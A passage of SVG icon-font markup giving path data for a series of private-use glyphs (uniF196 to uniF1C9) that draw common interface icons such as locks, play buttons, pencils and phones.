0 51.5 21t21.5 51v94q0 30 -21.5 51t-51.5 21h-112zM132 1023v-237h41v237h-41z M202 1023v-237h42v237h-42zM274 1023v-237h41v70v96v71h-41zM101 1017q-18 -8 -30 -25.5t-12 -39.5v-166h42v231zM591 814q109 0 186.5 -77t77.5 -185.5t-77.5 -185.5t-186.5 -77t-186 77t-77 185.5t77 185.5t186 77zM591 761q-57 0 -105.5 -28t-76.5 -76.5t-28 -104.5 q0 -87 61.5 -148t148.5 -61t148.5 61t61.5 147.5t-61.5 148t-148.5 61.5zM0 684h324q-31 -62 -31 -132q0 -41 10.5 -79t30 -70.5t47 -60t60.5 -46.5t71.5 -29.5t79.5 -10.5q123 0 211 86.5t88 209.5q0 70 -32 132h341v-809h-1200v809z" /> <glyph glyph-name="uniF196" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM392 732q-19 0 -33.5 -14t-15.5 -34v-417q0 -20 14 -34t35 -15h416q20 0 34 14t15 35v417q0 19 -14 33t-35 15 h-416zM462 638h276q6 -1 11.5 -4t9 -8.5t4.5 -12.5v-274q-1 -7 -4 -12.5t-8.5 -9t-12.5 -3.5h-276q-5 0 -9 1.5t-7.5 5t-5.5 8t-3 10.5v274q1 4 2 7.5t3 6.5t5 5.5t7 3.5z" /> <glyph glyph-name="uniF197" unicode="" d="M578 -40h153l-17 -85h-468l16 85h153l206 1029h-153l18 86h468l-17 -86h-153l-206 -1029v0z" /> <glyph glyph-name="uniF198" unicode="" d="M328 803q75 0 141.5 -32t112.5 -88t64 -126h1h553v-139h-76v-264h-140v264h-66v-183h-139v183h-127h-1q-20 -117 -111 -194t-212 -77q-89 0 -164.5 44t-119.5 119.5t-44 164.5t44 164.5t119.5 119.5t164.5 44zM328 651q-73 0 -124.5 -51.5t-51.5 -124.5t51.5 -124.5 t124.5 -51.5t125 51.5t52 124.5t-52 124.5t-125 51.5z" /> <glyph glyph-name="uniF199" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM290 751v-406h620v406h-620zM367 677h466v-258h-466v258zM212 308v-68l40 -41h696l40 41v68h-776zM528 286 h144v-62h-144v62z" /> <glyph glyph-name="uniF19A" unicode="" d="M120 902h960v-628h-960v628zM239 788v-399h722v399h-722zM0 217h1200v-106l-61 -63h-1078l-61 63v106zM489 182v-96h222v96h-222z" /> <glyph glyph-name="uniF19B" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM390 753h-8q-42 -1 -69 -8q-52 -12 -98 -44t-77.5 -80t-42.5 -108.5t5 -129.5q23 -82 86 -140.5t145 -73.5 q52 -10 106 0q43 8 93 37t80 64q0 4 -16 38.5t-18 34.5q-24 -34 -60.5 -59.5t-82.5 -39t-100 -0.5t-102 56q-43 42 -58 102t1 122q22 62 81.5 108t129.5 46q60 0 108.5 -27t80.5 -77q27 -45 69 -149.5t63 -144.5q42 -84 123 -106q65 -15 124.5 3t95.5 64.5t33 109.5 q-2 35 -14 60.5t-37 43.5t-49.5 29.5t-65.5 24.5q-49 17 -67.5 25.5t-29.5 19.5q-15 18 -16.5 42t8 44t29.5 32.5t45 8.5q44 0 86 -44l53 29q-28 46 -67.5 65.5t-68.5 15.5q-40 1 -74 -13.5t-55 -42t-26.5 -66.5t11.5 -86q30 -62 144 -98q19 -6 38 -14.5t43 -25t36 -34.5 t8.5 -45t-29.5 -56q-20 -22 -57 -29.5t-78 6.5t-66 48q-15 31 -40.5 91.5t-52.5 120.5t-52 107q-56 94 -151 127q-45 16 -97 16z" /> <glyph glyph-name="uniF19C" unicode="" d="M132 235q-18 43 -20 56q-10 72 5.5 143t50 129.5t83.5 109.5t103.5 87.5t111.5 60.5q50 20 112.5 25t117 1t108 -5.5t102.5 13.5t85 52q19 22 32.5 34.5t35 23.5t43.5 11q33 -1 46 -27q76 -165 43 -332t-134 -304t-232 -207q-252 -125 -486 -44q-19 5 -59 30.5t-65 26.5 q-14 -8 -27.5 -26t-29.5 -45.5t-21 -34.5q-19 -33 -50.5 -38.5t-58.5 21.5q-24 24 -27 49.5t10 47t33 43.5t41 39t34.5 33.5t12.5 26.5zM269 277q17 -13 37.5 -11t33.5 16q100 120 233 177.5t286 53.5q22 -1 37 13.5t16 34.5q1 22 -13.5 36.5t-35.5 15.5q-176 10 -330 -60.5 t-269 -204.5q-14 -17 -12 -37.5t17 -33.5z" /> <glyph glyph-name="uniF19D" unicode="" d="M0 1075h1200v-240h-1200v240zM0 595h1200v-240h-1200v240zM0 115h1200v-240h-1200v240z" /> <glyph glyph-name="uniF19E" unicode="" d="M321 -125l-321 321l401 401l121 -122l78 78l-122 121l401 401l321 -321l-401 -401l-121 122l-78 -78l122 -121zM321 32l244 244l-43 43l-79 -79l-78 78l79 79l-43 43l-244 -244zM799 510l244 244l-164 164l-244 -244l43 -43l79 79l78 -78l-79 -79z" /> <glyph glyph-name="uniF19F" unicode="" d="M0 1075h1200v-1200h-1200v1200zM294 839q-41 -1 -69 -27t-28 -63q1 -40 29.5 -65t65.5 -25h1q41 1 69.5 27t28.5 63q-1 27 -15.5 48t-35.5 31.5t-46 10.5zM804 601q-63 -1 -103 -30q-27 -20 -53 -57v74h-172q1 -21 1 -84q0 -109 -1 -437h172v291q1 28 7 42q31 63 88 64 q33 -1 53.5 -20.5t27.5 -44t7 -53.5v-279h172v299q-2 117 -57 177q-55 57 -142 58zM207 588v-521h172v521h-172z" /> <glyph glyph-name="uniF1A0" unicode="" d="M600 1075q48 0 82.5 -36t34.5 -84l-1 -117h116h6h32v-38v-75h-540v75v38h32h6h116q1 55 1 118q0 32 15 59.5t41.5 43.5t58.5 16zM175 961h269v-79h-191v-928h694v928h-191v79h269v-1086h-850v1086zM600 959q-11 0 -19.5 -5t-14 -14t-5.5 -19q0 -16 11.5 -27.5t27.5 -11.5 t27.5 11.5t11.5 27.5t-11.5 27t-27.5 11zM330 649h38v-39h-38v39zM446 648h424v-39h-424v39zM330 503h38v-38h-38v38zM446 503h424v-39h-424v39zM330 358h38v-38h-38v38zM446 357h424v-38h-424v38zM330 213h38v-39h-38v39zM446 212h424v-39h-424v39zM330 67h38v-38h-38v38z M446 67h424v-39h-424v39z" /> <glyph glyph-name="uniF1A1" unicode="" d="M0 91h216v-216h-216v216zM0 91v-216h216v216h-216zM0 419h216v-216h-216v216zM0 747h216v-216h-216v216zM0 1075h216v-216h-216v216zM318 91v-216h882v216h-882zM318 91h882v-216h-882v216zM318 419h882v-216h-882v216zM318 747h882v-216h-882v216zM318 1075h882v-216 h-882v216z" /> <glyph glyph-name="uniF1A2" unicode="" d="M310 -115q-77 20 -130.5 84t-62.5 145q-30 210 135 445q-31 71 -73 8q-89 -122 -136 -280q-6 41 1 83.5t29.5 87.5t38.5 72.5t47 72.5l18 27q-3 11 -8.5 23.5t-12 24t-14 23t-14.5 20.5t-12.5 16.5t-9 11t-2.5 3.5q-11 13 -20.5 29.5t-17 36.5t-11 39t-0.5 38t13 33 q39 65 102.5 107t134.5 40q21 -5 40.5 -20t31 -29t29.5 -38.5t26 -34.5l13.5 -18t14.5 -19.5t13 -17.5q121 65 229.5 96t215.5 11q57 -9 106.5 -41t82.5 -81.5t43 -105.5q28 -137 -18.5 -277t-140.5 -267q-209 -277 -469 -345q-122 -25 -212 -3zM582 -37q52 17 102 46 t96 69.5t81 77t79 86.5q87 111 128.5 240t16.5 255q-19 85 -89.5 143t-157.5 61q-152 10 -324 -79q-2 -16 15 -37t33 -3q84 43 171.5 55t177.5 -14q56 -20 92.5 -69.5t37.5 -109.5q7 -80 -22 -162t-75.5 -146t-110.5 -123q-31 -36 -64 -45t-81 12q-24 11 -119.5 52 t-145.5 67q-25 23 -49 53.5t-52 70t-44 59.5q-7 -10 -15 -23t-18.5 -33t-13.5 -26q-32 -64 -49.5 -124.5t-14 -130.5t36.5 -126q44 -76 132 -104t179 -9q34 6 67 17zM740 226q-12 65 -45 329q-25 40 -81 116.5t-80 116.5q-8 11 -37 50t-43 57t-37 46.5t-42 49.5 q-23 39 -62 54t-80 -4q-39 -16 -71 -39t-57 -57.5t-32 -72.5q8 -28 24 -56t42 -63t36 -51q30 -39 116.5 -161t136.5 -181q265 -116 314 -140zM448 400q-20 10 -37 31t-34 48.5t-30 41.5q-12 18 -45.5 62.5t-56 77.5t-40.5 65q5 18 12 32t10.5 19.5t17 20.5t18.5 20 q3 3 19.5 15t25.5 18t25.5 15.5t29 12t27 3t27.5 -8t24 -24.5q136 -173 199 -275l56 -234l-50 -40q-22 13 -71.5 38t-87.5 44zM400 623q-11 15 -30 41.5t-31.5 43.5t-30 39.5t-34.5 40.5q-50 -34 -17 -96q7 -13 23 -38l4 -6q13 -17 68.5 -93.5t88.5 -114.5q23 21 28 43.5 t-4 43t-21 38t-26.5 34.5t-17.5 24zM609 568q-7 22 -21 45t-35 50t-31 42q-107 144 -121 162q-7 -3 -37 -14t-43 -25q56 -86 134 -193q35 -44 75 -63.5t79 -3.5zM155 776q-43 51 41 129q6 6 18 16l4 4q65 54 126 45q23 -4 39.5 -24.5t0.5 -33.5q-16 -10 -46.5 -27.5t-50 -29 t-42.5 -32.5t-37 -45q-14 -27 -25.5 -27t-27.5 25zM204 815q15 24 38.5 42t61 38t49.5 29q-3 21 -17 26.5t-33.5 -2t-35.5 -17.5t-29 -20q-4 -4 -15 -14t-18.5 -17t-17.5 -18t-15 -20t-7.5 -18.5t2 -18.5t15.5 -16q5 3 8 7t8 10.5t6 8.5zM106 854q-5 29 8.5 57.5t34.5 48.5 t47 37q37 23 79 25q38 3 34 -26v-2q-55 -17 -101 -53t-75 -84q-6 -10 -14 -12.5t-13 9.5zM880 362q140 186 94 336q-12 39 -41.5 67t-65.5 41.5t-77.5 18t-78.5 -4.5q-9 -3 -24 -6.5t-29 -6t-29 -7t-25.5 -9.5t-16.5 -14t-5 -21q15 -22 133 -180q5 -39 13.5 -106t16 -123 t15.5 -105q49 35 120 120z" /> <glyph glyph-name="uniF1A3" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM596 800q-61 1 -111 -33t-76 -91q-17 -42 -16 -150h-90v-376h594v376h-98v71q0 41 -17 79q-15 36 -43.5 64 t-65.5 44t-77 16zM591 681h5q35 -1 58.5 -24.5t25.5 -58.5v-1v-71h-168v71q4 37 25 60t54 24z" /> <glyph glyph-name="uniF1A4" unicode="" d="M592 1075q111 -1 205.5 -64.5t138.5 -164.5q31 -71 31 -145v-132h181v-694h-1096v694h167q0 50 -0.5 96t7 95.5t22.5 85.5q48 106 140.5 168t203.5 61zM592 854q-64 2 -105.5 -40.5t-47.5 -112.5v-132h308v132v1q-2 42 -22 76t-55 54.5t-78 21.5z" /> <glyph glyph-name="uniF1A5" unicode="" d="M339 1075l66 -277l280 -59l-278 -66l-59 -279l-67 277l-280 59l278 66zM1073 1062l119 -118l-219 -218l-119 119zM775 765v0l119 -118l-775 -772l-119 119zM1015 627l36 -148l149 -31l-149 -36l-31 -149l-36 148l-149 32l148 35zM771 357l39 -163l165 -35l-164 -39 l-34 -164l-40 163l-164 35l163 39z" /> <glyph glyph-name="uniF1A6" unicode="" d="M600 1075q113 0 216 -41.5t177.5 -111.5t118.5 -167t44 -203q0 -23 -2 -46l-11 -230l-351 29l11 230q1 8 1 17q0 79 -60 135t-144 56q-41 0 -79 -15t-65 -41t-43.5 -61t-16.5 -74q0 -8 1 -17l11 -230l-352 -29l-10 230q-2 23 -2 46q0 85 28 164.5t79.5 144t120 113 t153 75t175.5 26.5zM420 169l23 -262l-352 -31l-23 262zM780 168l351 -31l-23 -262l-351 31z" /> <glyph glyph-name="uniF1A7" unicode="" d="M727 1075h469q0 -74 -0.5 -235t-0.5 -234h-167v181l-237 -236q76 -110 76 -244q0 -71 -22 -136.5t-62 -119t-93 -93t-118.5 -61.5t-136.5 -22q-117 0 -216.5 58t-157 157t-57.5 216.5t57.5 217t157 157t216.5 57.5q128 0 234 -69l241 239h-183v167zM435 564 q-70 0 -129.5 -34.5t-94 -93.5t-34.5 -129q0 -107 76 -182.5t182.5 -75.5t182 75.5t75.5 182t-75.5 182t-182.5 75.5z" /> <glyph glyph-name="uniF1A8" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 872q-124 0 -211.5 -87.5t-87.5 -211.5q0 -98 42 -154l257 -341l257 341q14 18 23.5 45t14 55t4.5 54 q0 124 -87.5 211.5t-211.5 87.5zM600 698q52 0 89 -36.5t37 -88.5t-37 -89t-89 -37t-89 37t-37 89t37 88.5t89 36.5z" /> <glyph glyph-name="uniF1A9" unicode="" d="M600 1075q92 0 176 -36t144.5 -96.5t96 -144t35.5 -175.5q0 -62 -16.5 -127t-46.5 -105l-389 -516l-389 516q-63 83 -63 232q0 73 22.5 142t64.5 125t97.5 97.5t124.5 64.5t143 23zM600 813q-79 0 -134.5 -56t-55.5 -134.5t55.5 -134.5t134.5 -56t134.5 56t55.5 134.5 t-55.5 134.5t-134.5 56z" /> <glyph glyph-name="uniF1AA" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM579 865q-29 -2 -58 -11v-104h-43v87q-30 -14 -54 -34v-428q76 -63 176 -63q99 0 176 63v428q-24 19 -53 34 v-87h-43v104q-29 9 -58 11v-115h-43v115zM340 524v-219q23 -22 50 -40q64 -41 139 -55v-72h-85v-53h85h142h85v53h-85v72q75 14 139 55q27 18 50 40v219h-50v-194q-92 -75 -210 -75t-210 75v194h-50zM529 210v25h142v-25q-35 -7 -71 -7t-71 7z" /> <glyph glyph-name="uniF1AB" unicode="" d="M568 1075v-178h66v178q44 -4 89 -18v-160h66v134q45 -22 81 -52h1v-658h-1q-118 -97 -270 -97q-153 0 -270 97h-1v658h1q36 30 82 53v-135h66v161q45 13 90 17zM200 550h78v-298q140 -115 322 -115t322 115v298h78v-337q-36 -33 -78 -60q-98 -64 -212 -86v39h-220v-39 q-114 22 -212 86q-42 27 -78 60v337zM710 67v-110h130v-82h-130h-220h-130v82h130v110q54 -10 110 -10t110 10z" /> <glyph glyph-name="uniF1AC" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM255 573v-196h690v196h-690z" /> <glyph glyph-name="uniF1AD" unicode="" d="M0 645h1200v-340h-1200v340z" /> <glyph glyph-name="uniF1AE" unicode="" d="M0 475l205 205l1 -143h332v332l-145 -1l207 207l205 -205l-143 -1v-332h332l-1 145l207 -207l-205 -205l-1 143h-332v-332l145 1l-207 -207l-205 205l143 1v332h-332l1 -145z" /> <glyph glyph-name="uniF1AF" unicode="" d="M365 995l835 63q-1 -24 -3.5 -77t-7 -163.5t-9.5 -216.5t-9.5 -210t-7.5 -172t-3 -77q-3 -62 -56.5 -110.5t-131.5 -59.5q-87 -13 -155.5 27t-78.5 109q-7 45 16 87t68.5 71.5t102.5 37.5q84 12 152 -26l29 564l-652 -68q-26 -626 -31 -708v-6v-1v1q-3 -30 -18 -58 t-39.5 -49.5t-58.5 -37t-72 -21.5q-87 -12 -155.5 28t-78 108.5t45 126t141.5 69.5q80 12 146 -22z" /> <glyph glyph-name="uniF1B0" unicode="" d="M331 181l-1 -75h-330v75q0 67 49.5 115t117.5 48t116.5 -48t47.5 -115zM317 520.5q0 -62.5 -44 -106.5t-106 -44q-41 0 -75.5 20.5t-55 55t-20.5 75.5q0 62 44.5 106t106.5 44t106 -44t44 -106.5zM740 192l-1 -86h-380v86q0 78 56.5 133t135 55t134.5 -55t55 -133z M724 584q0 -72 -50.5 -122.5t-122.5 -50.5t-123 50.5t-51 122.5t51 122.5t123 50.5t122.5 -50.5t50.5 -122.5zM1200 204l-1 -98h-431v98q0 88 64 150.5t153.5 62.5t152.5 -62.5t62 -150.5zM1181 647.5q0 -81.5 -57 -139t-138.5 -57.5t-139 57.5t-57.5 139.5q0 53 26.5 98 t71.5 71.5t99 26.5q81 0 138 -57.5t57 -139z" /> <glyph glyph-name="uniF1B1" unicode="" d="M1 445q-1 7 -1 28v3q300 26 474 150q55 -25 111 3q59 -60 117.5 -98.5t129.5 -61.5q15 -38 48 -59q-40 -99 -111 -174q-54 36 -112.5 16.5t-82.5 -75.5q-168 1 -322 72t-251 196zM573 90q-179 -92 -352 -82q-69 58 -119 132t-76 155q113 -97 257 -151t290 -54zM821 107 q202 42 341 156q-46 -119 -136.5 -208.5t-200 -134t-235 -44.5t-238.5 51q144 20 274 94q42 -21 82 -16.5t72 33t41 69.5zM1057 442q97 7 143 15q0 -6 -0.5 -18t-0.5 -18q-63 -79 -153 -135.5t-191 -84.5q69 83 109 189q59 7 93 52zM1079 530q-8 62 -57 95q15 142 4 272 q71 -74 114.5 -165t55.5 -187q-52 -11 -117 -15zM411 688q-168 -106 -404 -125q26 163 130 290.5t254 183.5q9 -109 48 -199q-31 -32 -38.5 -71.5t10.5 -78.5zM647 790q108 134 145 252q77 -26 139 -67q22 -172 5 -331q-37 -6 -65 -28t-40 -55q-90 33 -187 130q19 50 3 99z M519 871q-42 104 -43 191q114 26 232 2q-38 -107 -118 -208q-54 23 -71 15z" /> <glyph glyph-name="uniF1B2" unicode="" d="M514 1075h172v-694h-172v694zM176 899l121 -121q-60 -59 -93 -137.5t-33 -165.5q0 -117 57.5 -215.5t156 -156t215.5 -57.5t215.5 57.5t156 156t57.5 215.5q0 58 -15.5 113.5t-43 103t-67.5 86.5l121 121q83 -83 129.5 -192.5t46.5 -231.5q0 -163 -80.5 -301 t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301q0 82 21.5 159.5t60.5 144t94 120.5z" /> <glyph glyph-name="uniF1B3" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 945q-77 0 -148.5 -24t-129 -67.5t-101 -101t-67.5 -129t-24 -148.5q0 -96 37.5 -182.5t100.5 -149.5 t149.5 -100.5t182.5 -37.5t182.5 37.5t149.5 100.5t100.5 149.5t37.5 182.5t-37.5 182.5t-100.5 149.5t-149.5 100.5t-182.5 37.5zM830 760l111 -111l-348 -348l-110 -111l-112 111l-112 113l110 111l113 -113z" /> <glyph glyph-name="uniF1B4" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM857 794l-389 -389l-126 126l-124 -124l126 -126l125 -125l124 124l389 389z" /> <glyph glyph-name="uniF1B5" unicode="" d="M1004 976l196 -196l-611 -611l-195 -195l-196 196l-198 198l194 195l199 -199z" /> <glyph glyph-name="uniF1B6" unicode="" d="M600 1058q122 0 233 -47.5t191.5 -128t128 -191.5t47.5 -233q0 -193 -111 -348t-287 -218l-148 392q56 17 92 65t36 109q0 37 -14.5 70.5t-38.5 58t-58 39t-71 14.5q-75 0 -128.5 -53.5t-53.5 -128.5q0 -61 36 -109t92 -65l-148 -391q-176 63 -287 217.5t-111 347.5 q0 122 47.5 233t128 191.5t191.5 128t233 47.5z" /> <glyph glyph-name="uniF1B7" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM744 851h-10q-76 -4 -150 -77l-315 -316l52 -51l315 315q63 60 115 56q50 -7 86.5 -56.5t24.5 -93.5l-8 -18 t-7.5 -15.5t-10 -15t-9 -12t-11.5 -13t-11 -11.5l-13.5 -13.5t-12.5 -13.5q-45 -45 -147.5 -146.5t-163.5 -162.5q-22 -20 -38 -28t-33 -5t-36 20q-29 30 -25 58q3 26 29 52l288 288q41 41 56 28q1 -4 1.5 -7.5t0 -7.5t-1.5 -7t-3.5 -7t-4.5 -6.5t-5 -6t-5 -5t-5.5 -5 t-3.5 -4.5l-265 -265l51 -51l265 264q91 93 28 158q-72 61 -160 -26l-288 -288q-44 -44 -50 -96q-5 -64 48 -118q43 -42 95 -43q21 1 44 10t39.5 21t30.5 25l156.5 156.5t185.5 184.5q56 58 70 114q24 96 -55 178q-63 62 -133 63z" /> <glyph glyph-name="uniF1B8" unicode="" d="M472 -36q-22 -22 -49 -40.5t-63 -33t-70 -15.5q-83 1 -152 69q-84 85 -77 188q10 82 81 153l460 460q28 28 56.5 46.5t61.5 29t68.5 2.5t67.5 -36q101 -105 -43 -253l-424 -422l-81 83l422 422q1 0 8 7.5t9.5 10t9 9.5t8.5 11.5t6 11.5t5 12.5t0.5 12.5t-2.5 14 q-14 12 -40 -4.5t-49 -39.5l-460 -459q-42 -43 -47 -83q-6 -46 41 -93q30 -28 57 -33t52.5 7.5t60.5 45.5q97 97 260.5 259.5t235.5 234.5l19 19l18.5 18.5t16 16.5t16.5 18t14 17.5t14 20t12 20t12.5 23.5t10.5 26q12 45 -10.5 98.5t-68.5 93t-98 46.5q-82 8 -184 -89 l-503 -503l-83 81l503 505q119 117 240 123t228 -101q127 -130 89 -284q-24 -89 -113 -182q-104 -101 -295.5 -293.5t-250.5 -250.5z" /> <glyph glyph-name="uniF1B9" unicode="" d="M1157 614q-1 -63 -19 -122.5t-51 -109t-78 -86.5q-154 -118 -398 -122v-72q-2 -68 -39 -124.5t-95 -83.5q-40 -19 -88 -19q-55 1 -112 29v208q50 -35 90 -23q41 15 41 58v578h203v-360q71 1 135 15q96 23 149 70q71 67 71 164q0 67 -31 121.5t-85 88.5q-105 60 -250 61 q-153 -4 -252 -65q-54 -35 -84 -90t-30 -116q10 -127 57 -171l-129 -139q-57 57 -88 145q-31 93 -31 165q1 66 20.5 128t53.5 114t81 91q163 127 402 128q250 -4 403 -127q75 -64 114 -152t40 -182z" /> <glyph glyph-name="uniF1BA" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM331 786v-622h182v622h-182zM687 786v-622h182v622h-182z" /> <glyph glyph-name="uniF1BB" unicode="" d="M0 1075h500v-1200h-500v1200zM700 1075h500v-1200h-500v1200z" /> <glyph glyph-name="uniF1BC" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM802 888q-33 0 -57 -24q-22 -23 -23 -53.5t19 -50.5l100 -100q21 -21 51.5 -19.5t53 24t23.5 53t-20 50.5 l-100 100q-19 19 -47 20zM637 756l-324 -325l200 -199l324 324zM261 394l-53 -264l264 53z" /> <glyph glyph-name="uniF1BD" unicode="" d="M1169 884q33 -32 31 -80t-37.5 -83.5t-83.5 -37.5t-80 30l-158 158q-33 33 -31 81t37.5 83.5t83.5 37t81 -30.5zM165 353l512 511l315 -315l-512 -511zM0 -123l83 416l333 -332z" /> <glyph glyph-name="uniF1BE" unicode="" d="M720 803q27 0 51 -11q17 -8 30.5 -20.5t23 -27.5t14.5 -32.5t5 -35.5v-339q-4 -25 -21.5 -32.5t-33.5 3t-17 29.5v320q-4 13 -22 11t-19 -11v-734q-3 -21 -14.5 -33.5t-27 -14t-30.5 3.5t-25.5 17.5t-10.5 27.5v450q-3 13 -15 16t-22.5 -3t-10.5 -14q1 -109 1 -449 q-3 -26 -20.5 -38.5t-36.5 -10.5t-34.5 15.5t-16.5 32.5l-1 734q-5 12 -22 10.5t-17 -10.5v-320q-3 -19 -15 -28t-24 -7t-22.5 11.5t-10.5 23.5v339q1 38 15.5 69t43.5 47q20 11 49 11h256zM718 957q0 -49 -34.5 -84t-83.5 -35t-83.5 35t-34.5 84q0 32 15.5 59t43 43 t59.5 16q49 0 83.5 -34.5t34.5 -83.5z" /> <glyph glyph-name="uniF1BF" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM384 837q-11 -1 -23 -11l-102 -102q-20 -18 -21 -55q-2 -60 50 -170q85 -161 273 -298q131 -85 234 -88 q35 0 55 21l102 101q12 12 9.5 29t-18.5 27l-148 87h-1q-24 15 -52 -7l-44 -45q-6 -5 -20 -2q-10 3 -19.5 6.5t-18 8.5t-18 11.5t-17 12.5t-16 14t-15 14t-15.5 14.5t-15 13.5q-78 72 -96 143q0 5 4 10l37 38q23 23 9 51l-82 156q-13 21 -32 20z" /> <glyph glyph-name="uniF1C0" unicode="" d="M1183 77l-169 -168q-33 -34 -90 -34q-171 5 -388 146q-312 227 -453 494q-25 52 -41 91t-30 93.5t-12 97.5q1 61 35 91l169 169q27 22 50.5 17t40.5 -32l137 -258q10 -23 5.5 -45.5t-21.5 -39.5l-62 -62q-6 -9 -6 -18q30 -117 160 -237q10 -9 38 -36t43.5 -40.5t41 -33 t49.5 -30.5t50 -17q22 -6 32 3l73 74q20 15 43 19.5t45 -6.5h1l245 -145q27 -17 30.5 -45t-16.5 -48z" /> <glyph glyph-name="uniF1C1" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM278 780v-610h644v610h-644zM357 703h486v-335h-486v335z" /> <glyph glyph-name="uniF1C2" unicode="" d="M0 1044h1200v-1138h-1200v1138zM148 900v-624h904v624h-904z" /> <glyph glyph-name="uniF1C3" unicode="" d="M911 980q133 -83 210.5 -218.5t78.5 -287.5q0 -102 -34 -195h-255v701zM1139 217q-70 -141 -200 -229.5t-284 -104.5q-77 -5 -157 8.5t-144 41.5v284h785zM0 474q2 169 91 310.5t235 217.5l228 -204l-532 -478q-22 79 -22 154zM290 -33q-84 53 -147.5 127.5t-99.5 160.5 l247 223v-511zM847 618l-457 412q112 38 210 38q130 0 247 -54v-396z" /> <glyph glyph-name="uniF1C4" unicode="" d="M0 976h1200v-1002h-1200v1002zM92 882v-814h1016v814h-1016zM301 765q41 0 70.5 -29.5t29.5 -72.5q0 -41 -29.5 -70.5t-70.5 -29.5q-43 0 -72 29.5t-29 70.5q0 43 29 72.5t72 29.5zM733 715l267 -276v-275h-800v69l180 234l123 -102z" /> <glyph glyph-name="uniF1C5" unicode="" d="M321 -89l149 480h-215l-135 -120h-120l96 204l-96 204h120l135 -120h215l-149 480h120l269 -480h310q7 0 19.5 -0.5t43.5 -5t54.5 -12.5t43 -25t19.5 -41t-18.5 -41t-45 -25t-53 -12.5t-44.5 -4.5l-19 -1h-310l-269 -480h-120z" /> <glyph glyph-name="uniF1C6" unicode="" d="M600 -125q-163 0 -301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5t301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5zM450 775v-600l450 300z" /> <glyph glyph-name="uniF1C7" unicode="" d="M600 1075q163 0 301 -80.5t218.5 -218.5t80.5 -301t-80.5 -301t-218.5 -218.5t-301 -80.5t-301 80.5t-218.5 218.5t-80.5 301t80.5 301t218.5 218.5t301 80.5zM600 936q-94 0 -179 -36.5t-147 -98.5t-98.5 -147t-36.5 -179t36.5 -179t98.5 -147t147 -98.5t179 -36.5 t179 36.5t147 98.5t98.5 147t36.5 179t-36.5 179t-98.5 147t-147 98.5t-179 36.5zM450 775l450 -300l-450 -300v600z" /> <glyph glyph-name="uniF1C8" unicode="" d="M100 1075l1000 -600l-1000 -600v1200z" /> <glyph glyph-name="uniF1C9" unicode="" d="M0 715q1 1 4.5 5.5t7.5 9.5v-46q-4 5 -7.5 9.5t-4.5 5.5v16zM1165 479q-38 -11 -88 12q-43 20 -76 27q-11 4 -17 1.5t-8 -7.5t-3 -18q-10 -87 -17 -113q-19 -68 -82 -90q-10 -3 -12.5 -9.5t0.5 -16.5q21 -89 25 -126q3 -24 -2 -30t-30 -10q-31 -5 -90 -7q-20 -1 -21 24 q-2 75 -11 141q-3 21 -9.5 24.5t-30.5 0.5q32 -157 34 -166q-18 -7 -26.5 -9.5t-24.5 -7.5t-27 -6t-25.5 -1t-28.5 3q-20 5 -22 24q-6 67 -11 123q0 1 -1 22h-40q14 -80 16 -91q1 -4 1.5 -9.5t1 -12t1.5 -9.5q3 -28 -1 -34t-30 -11q-34 -7 -65 -2q-38 6 -40 50q-2 65 -4 112 l-4 18q-3 0 -5 -1q0 -40 -1 -42q0 -10 -1 -44.5t-1 -53.5q0 -15 -16 -19q-59 -17 -139 5q-23 6 -20 31q4 29 13 79q0 2 8 35q16 62 -13 111q-48 79 -41 146q3 